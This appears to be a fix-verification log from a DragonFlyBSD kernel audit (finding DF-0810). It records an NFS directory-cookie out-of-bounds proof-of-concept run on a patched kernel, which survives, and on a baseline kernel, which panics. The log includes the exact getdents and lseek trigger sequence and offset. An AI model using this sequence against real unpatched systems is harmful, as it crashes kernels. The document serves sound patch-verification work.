DragonFlyBSD Kernel Audit
DF-0810 / fix_run.log
← back to finding ↓ download raw
=== PATCHED KERNEL (#1, Fri Jul 10 19:39:22 UTC 2026) ===
PoC: nfs_getcookie_oob /mnt/bigdir

Run 1:
[*] step1 partial getdents -> 4080 bytes (cookie cache populated, n_direofoffset still 0)
[*] step2 lseek -> 8796093026304 (0x80000001000); quotient 0x80000001 trunc to int = -2147483647
[*] step3 getdents() - about to dereference &ndm_cookies[INT_MIN] -> expect kernel panic
[!] getdents returned 0 (errno=0: Undefined error: 0) - NO PANIC
RUN_EXIT=0
Guest: UP (no panic)

Run 2:
(same output, NO PANIC, guest UP)

Run 3:
(same output, NO PANIC, guest UP)

=== BASELINE KERNEL (#0, Thu Jul  2 06:02:54 UTC 2026) ===
PoC: nfs_getcookie_oob /mnt/bigdir

[*] step1 partial getdents -> 4080 bytes
[*] step2 lseek -> 8796093026304
[*] step3 getdents() - about to dereference &ndm_cookies[INT_MIN]
(SSH DIES - kernel panic)

Fatal trap 12: page fault while in kernel mode
fault virtual address    = 0xfffff7fc4f2971d4
fault code               = supervisor read data, page not present
instruction pointer      = 0x8:0xffffffff80811254
Stopped at      nfs_readdirrpc_uio+0xa4:        movl    (%rax),%ebx
db>